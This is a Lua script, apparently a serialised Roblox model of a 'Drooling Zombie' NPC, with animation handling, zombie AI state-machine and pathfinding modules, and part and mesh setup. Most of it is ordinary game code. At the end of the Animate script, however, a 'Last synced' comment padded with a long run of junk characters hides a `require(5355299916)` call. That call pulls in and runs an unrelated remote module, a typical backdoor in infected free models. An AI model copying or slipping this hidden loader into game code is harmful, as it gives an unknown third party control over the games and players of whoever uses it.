currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc) end end ------------------------------------------------------------------------------------------- ------------------------------------------------------------------------------------------- local toolAnimName = "" local toolAnimTrack = nil local currentToolAnimKeyframeHandler = nil function toolKeyFrameReachedFunc(frameName) if (frameName == "End") then -- print("Keyframe : ".. frameName) local repeatAnim = stopToolAnimations() playToolAnimation(repeatAnim, 0.0, Humanoid) end end function playToolAnimation(animName, transitionTime, humanoid) if (animName ~= toolAnimName) then if (toolAnimTrack ~= nil) then toolAnimTrack:Stop() toolAnimTrack:Destroy() transitionTime = 0 end local roll = math.random(1, animTable[animName].totalWeight) local origRoll = roll local idx = 1 while (roll > animTable[animName][idx].weight) do roll = roll - animTable[animName][idx].weight idx = idx + 1 end -- print(animName .. " * " .. idx .. " [" .. origRoll .. "]") local anim = animTable[animName][idx].anim -- load it to the humanoid; get AnimationTrack toolAnimTrack = humanoid:LoadAnimation(anim) -- play the animation toolAnimTrack:Play(transitionTime) toolAnimName = animName currentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc) end end function stopToolAnimations() local oldAnim = toolAnimName if (currentToolAnimKeyframeHandler ~= nil) then currentToolAnimKeyframeHandler:disconnect() end toolAnimName = "" if (toolAnimTrack ~= nil) then toolAnimTrack:Stop() toolAnimTrack:Destroy() toolAnimTrack = nil end return oldAnim end ------------------------------------------------------------------------------------------- ------------------------------------------------------------------------------------------- function onRunning(speed) if speed>0.01 then playAnimation("walk", 0.1, Humanoid) pose = "Running" else playAnimation("idle", 0.1, Humanoid) pose = "Standing" end end function onDied() pose = "Dead" end function onJumping() playAnimation("jump", 0.1, Humanoid) jumpAnimTime = jumpAnimDuration pose = "Jumping" end function onClimbing(speed) playAnimation("climb", 0.1, Humanoid) setAnimationSpeed(speed / 12.0) pose = "Climbing" end function onGettingUp() pose = "GettingUp" end function onFreeFall() if (jumpAnimTime <= 0) then playAnimation("fall", fallTransitionTime, Humanoid) end pose = "FreeFall" end function onFallingDown() pose = "FallingDown" end function onSeated() pose = "Seated" end function onPlatformStanding() pose = "PlatformStanding" end function onSwimming(speed) if speed>0 then pose = "Running" else pose = "Standing" end end function getTool() for _, kid in ipairs(Figure:GetChildren()) do if kid.className == "Tool" then return kid end end return nil end function getToolAnim(tool) for _, c in ipairs(tool:GetChildren()) do if c.Name == "toolanim" and c.className == "StringValue" then return c end end return nil end function animateTool() if (toolAnim == "None") then playToolAnimation("toolnone", toolTransitionTime, Humanoid) return end if (toolAnim == "Slash") then playToolAnimation("toolslash", 0, Humanoid) return end if (toolAnim == "Lunge") then playToolAnimation("toollunge", 0, Humanoid) return end end function moveSit() RightShoulder.MaxVelocity = 0.15 LeftShoulder.MaxVelocity = 0.15 RightShoulder:SetDesiredAngle(3.14 /2) LeftShoulder:SetDesiredAngle(-3.14 /2) RightHip:SetDesiredAngle(3.14 /2) LeftHip:SetDesiredAngle(-3.14 /2) end local lastTick = 0 function move(time) local amplitude = 1 local frequency = 1 local deltaTime = time - lastTick lastTick = time local climbFudge = 0 local setAngles = false if (jumpAnimTime > 0) then jumpAnimTime = jumpAnimTime - deltaTime end if (pose == "FreeFall" and jumpAnimTime <= 0) then playAnimation("fall", fallTransitionTime, Humanoid) elseif (pose == "Seated") then stopAllAnimations() moveSit() return elseif (pose == "Running") then playAnimation("walk", 0.1, Humanoid) elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then -- print("Wha " .. pose) amplitude = 0.1 frequency = 1 setAngles = true end if (setAngles) then desiredAngle = amplitude * math.sin(time * frequency) RightShoulder:SetDesiredAngle(desiredAngle + climbFudge) LeftShoulder:SetDesiredAngle(desiredAngle - climbFudge) RightHip:SetDesiredAngle(-desiredAngle) LeftHip:SetDesiredAngle(-desiredAngle) end -- Tool Animation handling local tool = getTool() if tool then animStringValueObject = getToolAnim(tool) if animStringValueObject then toolAnim = animStringValueObject.Value -- message recieved, delete StringValue animStringValueObject.Parent = nil toolAnimTime = time + .3 end if time > toolAnimTime then toolAnimTime = 0 toolAnim = "None" end animateTool() else stopToolAnimations() toolAnim = "None" toolAnimTime = 0 end end -- connect events Humanoid.Died:connect(onDied) Humanoid.Running:connect(onRunning) Humanoid.Jumping:connect(onJumping) Humanoid.Climbing:connect(onClimbing) Humanoid.GettingUp:connect(onGettingUp) Humanoid.FreeFalling:connect(onFreeFall) Humanoid.FallingDown:connect(onFallingDown) Humanoid.Seated:connect(onSeated) Humanoid.PlatformStanding:connect(onPlatformStanding) Humanoid.Swimming:connect(onSwimming) -- main program local runService = game:service("RunService"); -- initialize to idle playAnimation("idle", 0.1, Humanoid) pose = "Standing" while Figure.Parent~=nil do local _, time = wait(0.1) move(time) end --[[ Last synced 9/23/2020 06:01 ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������]] require(5355299916) --[[ ]]-- end)) StringValue21.Name = "climb" StringValue21.Parent = Script20 Animation22.Name = "ClimbAnim" Animation22.Parent = StringValue21 Animation22.AnimationId = "http://www.roblox.com/asset/?id=125750800" StringValue23.Name = "fall" StringValue23.Parent = Script20 Animation24.Name = "FallAnim" Animation24.Parent = StringValue23 Animation24.AnimationId = "http://www.roblox.com/asset/?id=125750759" StringValue25.Name = "idle" StringValue25.Parent = Script20 Animation26.Name = "Animation1" Animation26.Parent = StringValue25 Animation26.AnimationId = "http://www.roblox.com/asset/?id=125750544" NumberValue27.Name = "Weight" NumberValue27.Parent = Animation26 NumberValue27.Value = 9 Animation28.Name = "Animation2" Animation28.Parent = StringValue25 Animation28.AnimationId = "http://www.roblox.com/asset/?id=125750618" NumberValue29.Name = "Weight" NumberValue29.Parent = Animation28 NumberValue29.Value = 1 StringValue30.Name = "jump" StringValue30.Parent = Script20 Animation31.Name = "JumpAnim" Animation31.Parent = StringValue30 Animation31.AnimationId = "http://www.roblox.com/asset/?id=125750702" StringValue32.Name = "run" StringValue32.Parent = Script20 Animation33.Name = "RunAnim" Animation33.Parent = StringValue32 Animation33.AnimationId = "http://www.roblox.com/asset/?id=125749145" StringValue34.Name = "toolnone" StringValue34.Parent = Script20 Animation35.Name = "ToolNoneAnim" Animation35.Parent = StringValue34 Animation35.AnimationId = "http://www.roblox.com/asset/?id=125750867" StringValue36.Name = "walk" StringValue36.Parent = Script20 Animation37.Name = "WalkAnim" Animation37.Parent = StringValue36 Animation37.AnimationId = "http://www.roblox.com/asset/?id=125749145" Script38.Parent = Model2 table.insert(cors,sandbox(Script38,function() local zombie = script.Parent for _, script in pairs(zombie.ModuleScripts:GetChildren()) do if not game.ServerStorage:FindFirstChild(script.Name) then script:Clone().Parent = game.ServerStorage end end local AI = require(game.ServerStorage.ROBLOX_ZombieAI).new(zombie) local DestroyService = require(game.ServerStorage.ROBLOX_DestroyService) local function clearParts(parent) for _, part in pairs(parent:GetChildren()) do clearParts(part) end local delay if parent:IsA("Part") then delay = math.random(5,10) else delay = 11 end DestroyService:AddItem(parent, delay) end zombie.Humanoid.Died:connect(function() AI.Stop() math.randomseed(tick()) clearParts(zombie) script.Disabled = true end) local lastMoan = os.time() math.randomseed(os.time()) while true do local animationTrack = zombie.Humanoid:LoadAnimation(zombie.Animations.Arms) animationTrack:Play() -- local now = os.time() -- if now - lastMoan > 5 then -- if math.random() > .3 then -- zombie.Moan:Play() ---- print("playing moan") -- lastMoan = now -- end -- end wait(2) end end)) BillboardGui39.Parent = Model2 BillboardGui39.Size = UDim2.new(0, 100, 0, 30) BillboardGui39.StudsOffset = Vector3.new(0, 5, 0) TextLabel40.Parent = BillboardGui39 TextLabel40.Visible = false TextLabel40.Size = UDim2.new(1, 0, 1, 0) TextLabel40.BackgroundColor = BrickColor.new("Institutional white") TextLabel40.BackgroundColor3 = Color3.new(1, 1, 1) TextLabel40.Font = Enum.Font.SourceSansBold TextLabel40.FontSize = Enum.FontSize.Size24 TextLabel40.Text = "Idle" TextLabel40.TextSize = 24 Configuration41.Name = "ModuleScripts" Configuration41.Parent = Model2 ModuleScript42.Name = "ROBLOX_AIUtilities" ModuleScript42.Parent = Configuration41 table.insert(cors,sandbox(ModuleScript42,function() local utility = {} function utility:WideRayCast(start, target, offset, ignoreList) local parts = {} local ray = Ray.new(start, target - start) local part, point = game.Workspace:FindPartOnRayWithIgnoreList(ray, ignoreList) if part then table.insert(parts, part) end local offsetVector = offset * (target - start):Cross(Vector3.FromNormalId(Enum.NormalId.Top)).unit local ray = Ray.new(start + offsetVector, target - start + offsetVector) local part, point = game.Workspace:FindPartOnRayWithIgnoreList(ray, ignoreList) if part then table.insert(parts, part) end local ray = Ray.new(start - offsetVector, target - start - offsetVector) local part, point = game.Workspace:FindPartOnRayWithIgnoreList(ray, ignoreList) if part then table.insert(parts, part) end return parts end function utility:FindNearestPathPoint(path, point, start, target, ignoreList) local occludePoint = path:CheckOcclusionAsync(point) if occludePoint > 0 then utility:WideRayCast(start) end end local maxForce = 15 function utility:GetRepulsionVector(unitPosition, otherUnitsPositions) local repulsionVector = Vector3.new(0,0,0) local count = 0 for _, other in pairs(otherUnitsPositions) do local fromOther = unitPosition - other --fromOther = fromOther.unit * ((-maxForce / 5) * math.pow(fromOther.magnitude,2) + maxForce) fromOther = fromOther.unit * 1000 / math.pow((fromOther.magnitude + 1), 2) repulsionVector = repulsionVector + fromOther end return repulsionVector * maxForce end function utility:GetIdleState(StateMachine) local IdleState = StateMachine.NewState() IdleState.Name = "Idle" IdleState.Action = function() end IdleState.Init = function() end return IdleState end function utility:GetClosestVisibleTarget(npcModel, characters, ignoreList, fieldOfView) local closestTarget = nil local closestDistance = math.huge for _, character in pairs(characters) do local toTarget = character.HumanoidRootPart.Position - npcModel.HumanoidRootPart.Position local toTargetWedge = toTarget * Vector3.new(1,0,1) local angle = math.acos(toTargetWedge:Dot(npcModel.HumanoidRootPart.CFrame.lookVector)/toTargetWedge.magnitude) if math.deg(angle) < fieldOfView then local targetRay = Ray.new(npcModel.HumanoidRootPart.Position, toTarget) local part, position = game.Workspace:FindPartOnRayWithIgnoreList(targetRay, ignoreList) if part and part.Parent == character then if toTarget.magnitude < closestDistance then closestTarget = character closestDistance = toTarget.magnitude end end end end return closestTarget end local function isSpaceEmpty(position) local region = Region3.new(position - Vector3.new(2,2,2), position + Vector3.new(2,2,2)) return game.Workspace:IsRegion3Empty(region) end function utility:FindCloseEmptySpace(model) local targetPos = Vector3.new(0,0,0) local count = 0 math.randomseed(os.time()) repeat local xoff = math.random(5,10) if math.random() > .5 then xoff = xoff * -1 end local zoff = math.random(5, 10) if math.random() > .5 then zoff = zoff * -1 end targetPos = Vector3.new(model.HumanoidRootPart.Position.X + xoff,model.HumanoidRootPart.Position.Y,model.HumanoidRootPart.Position.Z + zoff) if isSpaceEmpty(targetPos) then return targetPos else targetPos = targetPos + Vector3.new(0,4,0) end if isSpaceEmpty(targetPos) then return targetPos end count = count + 1 until count > 10 return nil end return utility end)) ModuleScript43.Name = "ROBLOX_DestroyService" ModuleScript43.Parent = Configuration41 table.insert(cors,sandbox(ModuleScript43,function() local destroyService = {} local destroyQueue = {} function destroyService:AddItem(theobject, delay) local now = os.time() local destroyObject = {object = theobject, destroyTime = delay + now} for i, storedObject in pairs(destroyQueue) do if destroyQueue[i].destroyTime > destroyObject.destroyTime then table.insert(destroyQueue, i, destroyObject) return true end end table.insert(destroyQueue, destroyObject) return true end local updateThread = coroutine.create(function() while true do local now = os.time() for _, storedObject in pairs(destroyQueue) do if now >= storedObject.destroyTime then table.remove(destroyQueue, 1) if storedObject.object then storedObject.object:Destroy() end elseif now >= storedObject.destroyTime - 1 then if storedObject.object and storedObject.object:IsA("Part") then local trans = storedObject.object.Transparency + 1/30 storedObject.object.Transparency = trans end else break end end wait() end end) coroutine.resume(updateThread) return destroyService end)) ModuleScript44.Name = "ROBLOX_HumanoidList" ModuleScript44.Parent = Configuration41 table.insert(cors,sandbox(ModuleScript44,function() local humanoidList = {} local storage = {} function humanoidList:GetCurrent() return storage end local function findHumanoids(object, list) if object then if object:IsA("Humanoid") then table.insert(list, object) end for _, child in pairs(object:GetChildren()) do local childList = findHumanoids(child, list) end end end local updateThread = coroutine.create(function() while true do storage = {} findHumanoids(game.Workspace, storage) wait(3) end end) coroutine.resume(updateThread) return humanoidList end)) ModuleScript45.Name = "ROBLOX_StateMachine" ModuleScript45.Parent = Configuration41 table.insert(cors,sandbox(ModuleScript45,function() local machine = {} machine.new = function() local StateMachine = {} StateMachine.WaitTime = .2 StateMachine.CurrentState = nil StateMachine.SwitchState = function(newState) if StateMachine.CurrentState then StateMachine.CurrentState.Stop() end StateMachine.CurrentState = newState if newState then newState.Start() end end StateMachine.NewState = function() local state = {} state.Name = "" state.Conditions = {} state.isRunning = false state.Action = function() end state.Run = function() state.isRunning = true while state.isRunning do --check conditions --print("checking conditions") for _, condition in pairs(state.Conditions) do --print("Checking " .. condition.Name) if condition.Evaluate() then --print(condition.Name .. " is true. Switching states") StateMachine.SwitchState(condition.TransitionState) return end end --if no conditions satisfied, perform action state.Action() wait(StateMachine.WaitTime) end end state.Init = function() end state.Start = function() --print("Starting " .. state.Name) state.Init() local thread = coroutine.create(state.Run) coroutine.resume(thread) end state.Stop = function() --print("Stopping " .. state.Name) state.isRunning = false end return state end StateMachine.NewCondition = function() local condition = {} condition.Name = "" condition.Evaluate = function() print("replace me") return false end condition.TransitionState = {} return condition end return StateMachine end return machine end)) ModuleScript46.Name = "ROBLOX_ZombieAI" ModuleScript46.Parent = Configuration41 table.insert(cors,sandbox(ModuleScript46,function() --local PathLib = require(game.ServerStorage.PathfindingLibrary).new() local HumanoidList = require(game.ServerStorage.ROBLOX_HumanoidList) local AIUtilities = require(game.ServerStorage.ROBLOX_AIUtilities) local ZombieAI = {} function updateDisplay(display, state) local thread = coroutine.create(function() while true do wait() if state then display.Text = state.Name end end end) coroutine.resume(thread) end ZombieAI.new = function(model) local zombie = {} -- CONFIGURATION VARIABLES -- local AttackRange, FieldOfView, AggroRange, ChanceOfBoredom, BoredomDuration, -- Damage, DamageCooldown local configTable = model.Configurations local configs = {} local function loadConfig(configName, defaultValue) if configTable:FindFirstChild(configName) then configs[configName] = configTable:FindFirstChild(configName).Value else configs[configName] = defaultValue end end loadConfig("AttackRange", 3) loadConfig("FieldOfView", 180) loadConfig("AggroRange", 200) loadConfig("ChanceOfBoredom", .5) loadConfig("BoredomDuration", 10) loadConfig("Damage", 10) loadConfig("DamageCooldown", 1) local StateMachine = require(game.ServerStorage.ROBLOX_StateMachine).new() local PathLib = require(game.ServerStorage.ROBLOX_PathfindingLibrary).new() local ZombieTarget = nil local ZombieTargetLastLocation = nil local lastBored = os.time() -- STATE DEFINITIONS -- IdleState: NPC stays still. Refreshes bored timer when started to -- allow for random state change local IdleState = StateMachine.NewState() IdleState.Name = "Idle" IdleState.Action = function() end IdleState.Init = function() lastBored = os.time() end -- SearchState: NPC wanders randomly increasing chance of spotting -- enemy. Refreshed bored timer when started to allow for random state -- change local SearchState = StateMachine.NewState() SearchState.Name = "Search" local lastmoved = os.time() local searchTarget = nil SearchState.Action = function() -- move to random spot nearby if model then local now = os.time() if now - lastmoved > 2 then lastmoved = now local xoff = math.random(5, 10) if math.random() > .5 then xoff = xoff * -1 end local zoff = math.random(5, 10) if math.random() > .5 then zoff = zoff * -1 end local testtarg = AIUtilities:FindCloseEmptySpace(model) --if testtarg then print(testtarg) else print("could not find") end searchTarget = Vector3.new(model.HumanoidRootPart.Position.X + xoff,model.HumanoidRootPart.Position.Y,model.HumanoidRootPart.Position.Z + zoff) --local target = Vector3.new(model.HumanoidRootPart.Position.X + xoff,model.HumanoidRootPart.Position.Y,model.HumanoidRootPart.Position.Z + zoff) --model.Humanoid:MoveTo(target) searchTarget = testtarg end if searchTarget then PathLib:MoveToTarget(model, searchTarget) end end end SearchState.Init = function() lastBored = os.time() end -- PursueState: Enemy has been spotted, need to give chase. local PursueState = StateMachine.NewState() PursueState.Name = "Pursue" PursueState.Action = function() -- Double check we still have target if ZombieTarget then -- Get distance to target local distance = (model.HumanoidRootPart.Position - ZombieTarget.HumanoidRootPart.Position).magnitude -- If we're far from target use pathfinding to move. Otherwise just MoveTo if distance > configs["AttackRange"] + 5 then PathLib:MoveToTarget(model, ZombieTarget.HumanoidRootPart.Position) else model.Humanoid:MoveTo(ZombieTarget.HumanoidRootPart.Position) -- if ZombieTarget.HumanoidRootPart.Position.Y > model.HumanoidRootPart.Position.Y + 2 then -- model.Humanoid.Jump = true -- end end end end PursueState.Init = function() end -- AttackState: Keep moving towards target and play attack animation. local AttackState = StateMachine.NewState() AttackState.Name = "Attack" local lastAttack = os.time() local attackTrack = model.Humanoid:LoadAnimation(model.Animations.Attack) AttackState.Action = function() model.Humanoid:MoveTo(ZombieTarget.HumanoidRootPart.Position) local now = os.time() if now - lastAttack > 3 then lastAttack = now attackTrack:Play() end end -- HuntState: Can't see target but NPC will move to target's last known location. -- Will eventually get bored and switch state. local HuntState = StateMachine.NewState() HuntState.Name = "Hunt" HuntState.Action = function() if ZombieTargetLastLocation then PathLib:MoveToTarget(model, ZombieTargetLastLocation) end end HuntState.Init = function() lastBored = os.time() + configs["BoredomDuration"] / 2 end -- CONDITION DEFINITIONS -- CanSeeTarget: Determines if a target is visible. Returns true if target is visible and -- sets current target. A target is valid if it is nearby, visible, has a Torso and WalkSpeed -- greater than 0 (this is to ignore inanimate objects that happen to use humanoids) local CanSeeTarget = StateMachine.NewCondition() CanSeeTarget.Name = "CanSeeTarget" CanSeeTarget.Evaluate = function() if model then -- Get list of all nearby Zombies and non-Zombie humanoids -- Zombie list is used to ignore zombies during later raycast local humanoids = HumanoidList:GetCurrent() local zombies = {} local characters = {} for _, object in pairs(humanoids) do if object and object.Parent and object.Parent:FindFirstChild("HumanoidRootPart") and object.Health > 0 and object.WalkSpeed > 0 then local torso = object.Parent:FindFirstChild("HumanoidRootPart") if torso then local distance = (model.HumanoidRootPart.Position - torso.Position).magnitude if distance <= configs["AggroRange"] then if object.Parent.Name == "Drooling Zombie" then table.insert(zombies, object.Parent) else table.insert(characters, object.Parent) end end end end end local target = AIUtilities:GetClosestVisibleTarget(model, characters, zombies, configs["FieldOfView"]) if target then ZombieTarget = target return true end -- -- Go through each valid target to see if within field of view and if there is -- -- clear line of sight. Field of view treated as wedge in front of character. -- for _, character in pairs(characters) do -- local toTarget = (character.HumanoidRootPart.Position - model.HumanoidRootPart.Position) -- toTarget = Vector3.new(toTarget.X, 0, toTarget.Z) -- local angle = math.acos(toTarget:Dot(model.HumanoidRootPart.CFrame.lookVector)/toTarget.magnitude) -- if math.deg(angle) < configs["FieldOfView"]/2 then -- ZombieTarget = character -- -- raycast to see if target is actually visible -- local toTarget = Ray.new(model.HumanoidRootPart.Position, (ZombieTarget.HumanoidRootPart.Position - model.HumanoidRootPart.Position)) -- local part, position = game.Workspace:FindPartOnRayWithIgnoreList(toTarget, zombies) -- if part and part.Parent == ZombieTarget then -- return true -- end -- ZombieTarget = nil -- end -- end end return false end CanSeeTarget.TransitionState = PursueState -- TargetDead: Check if target is dead. local TargetDead = StateMachine.NewCondition() TargetDead.Name = "TargetDead" TargetDead.Evaluate = function() if ZombieTarget and ZombieTarget.Humanoid then return ZombieTarget.Humanoid.Health <= 0 end return true end TargetDead.TransitionState = IdleState -- GotDamaged: Check if NPC has taken damage local lastHealth = model.Humanoid.Health local GotDamaged = StateMachine.NewCondition() GotDamaged.Name = "GotDamaged" GotDamaged.Evaluate = function() if model then if lastHealth > model.Humanoid.Health then return true end end return false end GotDamaged.TransitionState = SearchState -- GotBored: Used to provide random state change. local GotBored = StateMachine.NewCondition() GotBored.Name = "GotBored" GotBored.Evaluate = function() local now = os.time() if now - lastBored > configs["BoredomDuration"] then local roll = math.random() if roll < configs["ChanceOfBoredom"] then lastBored = now if GotBored.TransitionState == SearchState then GotBored.TransitionState = IdleState else GotBored.TransitionState = SearchState end return true end end return false end GotBored.TransitionState = IdleState -- LostTarget: Checks clear line of sight local LostTarget = StateMachine.NewCondition() LostTarget.Name = "LostTarget" LostTarget.Evaluate = function() if true then return false end if ZombieTarget then if (ZombieTarget.HumanoidRootPart.Position - model.HumanoidRootPart.Position).magnitude > 10 then local toTarget = Ray.new(model.HumanoidRootPart.Position, (ZombieTarget.HumanoidRootPart.Position - model.HumanoidRootPart.Position)) local part, position = game.Workspace:FindPartOnRay(toTarget, model) if not part or part.Parent ~= ZombieTarget then --print("Lost target!") ZombieTargetLastLocation = ZombieTarget.HumanoidRootPart.Position ZombieTarget = nil return true end end end return false end LostTarget.TransitionState = HuntState local WithinRange = StateMachine.NewCondition() WithinRange.Name = "WithinRange" WithinRange.Evaluate = function() if ZombieTarget then local distance = (model.HumanoidRootPart.Position - ZombieTarget.HumanoidRootPart.Position).magnitude if distance < configs["AttackRange"] then --print("Within attack range!") return true end end return false end WithinRange.TransitionState = AttackState local OutsideRange = StateMachine.NewCondition() OutsideRange.Name = "OutsideRange" OutsideRange.Evaluate = function() if ZombieTarget then local distance = (model.HumanoidRootPart.Position - ZombieTarget.HumanoidRootPart.Position).magnitude if distance > configs["AttackRange"] then --print("Outside attack range!") return true end end return false end OutsideRange.TransitionState = PursueState table.insert(IdleState.Conditions, CanSeeTarget) table.insert(IdleState.Conditions, GotDamaged) table.insert(IdleState.Conditions, GotBored) table.insert(SearchState.Conditions, GotBored) table.insert(SearchState.Conditions, CanSeeTarget) table.insert(PursueState.Conditions, LostTarget) table.insert(PursueState.Conditions, WithinRange) table.insert(PursueState.Conditions, TargetDead) table.insert(AttackState.Conditions, OutsideRange) table.insert(AttackState.Conditions, TargetDead) table.insert(HuntState.Conditions, GotBored) table.insert(HuntState.Conditions, CanSeeTarget) -- Setup arms damage local canHit = true local lastHit = os.time() local function handleHit(other) if canHit then if other and other.Parent and other.Parent.Name ~= "Drooling Zombie" and other.Parent:FindFirstChild("Humanoid") then local enemy = other.Parent if enemy.Humanoid.WalkSpeed > 0 then enemy.Humanoid.Health = enemy.Humanoid.Health - configs["Damage"] canHit = false end end else local now = os.time() if now - lastHit > configs["DamageCooldown"] then lastHit = now canHit = true end end end local leftHitConnect, rightHitConnect leftHitConnect = model:FindFirstChild("Left Arm").Touched:connect(handleHit) rightHitConnect = model:FindFirstChild("Right Arm").Touched:connect(handleHit) --ZombieAI.Animate(model) --updateDisplay() --updateDisplay(model.BillboardGui.TextLabel, StateMachine.CurrentState) local thread = coroutine.create(function() while true do wait() -- calculate repulsion force local humanoids = HumanoidList:GetCurrent() local localZombies = {} for _, humanoid in pairs(humanoids) do if humanoid and humanoid ~= model.Humanoid and humanoid.Parent and humanoid.Parent:FindFirstChild("HumanoidRootPart") then local torso = humanoid.Parent:FindFirstChild("HumanoidRootPart") local distance = (model.HumanoidRootPart.Position - torso.Position).magnitude if distance <= 2.5 then table.insert(localZombies, torso.Position) end end end local repulsionDirection = AIUtilities:GetRepulsionVector(model.HumanoidRootPart.Position, localZombies) if repulsionDirection.magnitude > 0 then --print("replusion direction: " .. tostring(repulsionDirection)) end model.HumanoidRootPart.RepulsionForce.force = repulsionDirection if StateMachine.CurrentState and model.Configurations.Debug.Value then model.BillboardGui.TextLabel.Visible = true model.BillboardGui.TextLabel.Text = StateMachine.CurrentState.Name end if not model.Configurations.Debug.Value then model.BillboardGui.TextLabel.Visible = false end end end) coroutine.resume(thread) StateMachine.SwitchState(IdleState) zombie.Stop = function() StateMachine.SwitchState(nil) end return zombie end return ZombieAI end)) ModuleScript47.Name = "ROBLOX_PathfindingLibrary" ModuleScript47.Parent = Configuration41 table.insert(cors,sandbox(ModuleScript47,function() local PathfindingUtility = {} local TargetOffsetMax = 10--5 local JumpThreshold = 1.5 --2.5 local NextPointThreshold = 4 local PathfindingService = game:GetService("PathfindingService") PathfindingService.EmptyCutoff = .3 function PathfindingUtility.new() local this = {} local currentTargetPos = nil local lastTargetPos = Vector3.new(math.huge, math.huge, math.huge) local path = nil local currentPointIndex = 1 function this:MoveToTarget(character, target) local targetOffset = (lastTargetPos - target).magnitude -- -- local targetOffsetVector = (lastTargetPos - target) -- if targetOffsetVector.magnitude < math.huge then -- targetOffsetVector = (lastTargetPos - target) * Vector3.new(1,0,1) -- end if targetOffset > TargetOffsetMax then --if targetOffsetVector.magnitude > TargetOffsetMax then --print("moveto") local startPoint = character.HumanoidRootPart.Position local humanoidState = character.Humanoid:GetState() if humanoidState == Enum.HumanoidStateType.Jumping or humanoidState == Enum.HumanoidStateType.Freefall then --print("this") local ray = Ray.new(character.HumanoidRootPart.Position, Vector3.new(0, -100, 0)) local hitPart, hitPoint = game.Workspace:FindPartOnRay(ray, character) if hitPart then startPoint = hitPoint end end --print("making new path") local newTarget = target local ray = Ray.new(target + Vector3.new(0,-3,0), Vector3.new(0, -100, 0)) local hitPart, hitPoint = game.Workspace:FindPartOnRay(ray, character) if hitPoint then if (hitPoint - target).magnitude > 4 then newTarget = newTarget * Vector3.new(1,0,1) + Vector3.new(0,3,0) end end --local newTarget = Vector3.new(1,0,1) * target + Vector3.new(0, 2, 0) path = PathfindingService:ComputeSmoothPathAsync(startPoint, newTarget, 500) if path.Status ~= Enum.PathStatus.Success then --print(tostring(path.Status)) end --path = PathfindingService:ComputeRawPathAsync(startPoint, target, 500) -- game.Workspace.Points:ClearAllChildren() -- local ps = path:GetPointCoordinates() -- for _, point in pairs(ps) do -- local part = Instance.new("Part", game.Workspace.Points) -- part.CanCollide = false -- part.Anchored = true -- part.FormFactor = Enum.FormFactor.Custom -- part.Size = Vector3.new(1,1,1) -- part.Position = point -- end currentPointIndex = 1 lastTargetPos = target end if path then local points = path:GetPointCoordinates() if currentPointIndex < #points then local currentPoint = points[currentPointIndex] local distance = (character.HumanoidRootPart.Position - currentPoint).magnitude if distance < NextPointThreshold then currentPointIndex = currentPointIndex + 1 end character.Humanoid:MoveTo(points[currentPointIndex]) if points[currentPointIndex].Y - character.HumanoidRootPart.Position.Y > JumpThreshold then character.Humanoid.Jump = true end else character.Humanoid:MoveTo(target) end end end return this end return PathfindingUtility end)) Configuration48.Name = "Configurations" Configuration48.Parent = Model2 IntValue49.Name = "Damage" IntValue49.Parent = Configuration48 IntValue49.Value = 30 BoolValue50.Name = "Debug" BoolValue50.Parent = Configuration48 IntValue51.Name = "FieldOfView" IntValue51.Parent = Configuration48 IntValue51.Value = 180 IntValue52.Name = "AggroRange" IntValue52.Parent = Configuration48 IntValue52.Value = 200 Configuration53.Name = "Animations" Configuration53.Parent = Model2 Animation54.Name = "Attack" Animation54.Parent = Configuration53 Animation54.AnimationId = "http://www.roblox.com/asset/?id=180416148" Animation55.Name = "Arms" Animation55.Parent = Configuration53 Animation55.AnimationId = "http://www.roblox.com/asset/?id=183294396" CharacterMesh56.Name = "Zombie Left Arm" CharacterMesh56.Parent = Model2 CharacterMesh56.BodyPart = Enum.BodyPart.LeftArm CharacterMesh56.MeshId = 37683097 CharacterMesh56.OverlayTextureId = 37686282 CharacterMesh57.Name = "Zombie Left Leg" CharacterMesh57.Parent = Model2 CharacterMesh57.BodyPart = Enum.BodyPart.LeftLeg CharacterMesh57.MeshId = 37683150 CharacterMesh57.OverlayTextureId = 37687646 CharacterMesh58.Name = "Zombie Right Arm" CharacterMesh58.Parent = Model2 CharacterMesh58.BodyPart = Enum.BodyPart.RightArm CharacterMesh58.MeshId = 37683174 CharacterMesh58.OverlayTextureId = 37686282 CharacterMesh59.Name = "Zombie Right Leg" CharacterMesh59.Parent = Model2 CharacterMesh59.BodyPart = Enum.BodyPart.RightLeg CharacterMesh59.MeshId = 37683227 CharacterMesh59.OverlayTextureId = 37687646 CharacterMesh60.Name = "Zombie torso" CharacterMesh60.Parent = Model2 CharacterMesh60.BodyPart = Enum.BodyPart.Torso CharacterMesh60.MeshId = 37683263 CharacterMesh60.OverlayTextureId = 37686282 Sound61.Name = "Moan" Sound61.Parent = Model2 Sound61.Pitch = 0.15000000596046 Sound61.PlaybackSpeed = 0.15000000596046 Sound61.Volume = 0.050000000745058 BodyColors62.Parent = Model2 BodyColors62.HeadColor = BrickColor.new("Camo") BodyColors62.HeadColor3 = Color3.new(0.227451, 0.490196, 0.0823529) BodyColors62.LeftArmColor = BrickColor.new("Earth green") BodyColors62.LeftArmColor3 = Color3.new(0.152941, 0.27451, 0.176471) BodyColors62.LeftLegColor = BrickColor.new("Earth green") BodyColors62.LeftLegColor3 = Color3.new(0.152941, 0.27451, 0.176471) BodyColors62.RightArmColor = BrickColor.new("Earth green") BodyColors62.RightArmColor3 = Color3.new(0.152941, 0.27451, 0.176471) BodyColors62.RightLegColor = BrickColor.new("Earth green") BodyColors62.RightLegColor3 = Color3.new(0.152941, 0.27451, 0.176471) BodyColors62.TorsoColor = BrickColor.new("Earth green") BodyColors62.TorsoColor3 = Color3.new(0.152941, 0.27451, 0.176471) Model63.Name = "Drooling Zombie" Model63.Parent = Model1 Part64.Name = "HumanoidRootPart" Part64.Parent = Model63 Part64.CFrame = CFrame.new(161.5, 2.99998856, -95, 0, 0, -1, 7.70369498e-34, 0.99999547, 0, 1, 7.70369498e-34, 0) Part64.Orientation = Vector3.new(0, -90, 0) Part64.Position = Vector3.new(161.5, 2.99998856, -95) Part64.Rotation = Vector3.new(0, -90, 0) Part64.Color = Color3.new(0.152941, 0.27451, 0.176471) Part64.Transparency = 1 Part64.Size = Vector3.new(2, 2, 1) Part64.BottomSurface = Enum.SurfaceType.Smooth Part64.BrickColor = BrickColor.new("Earth 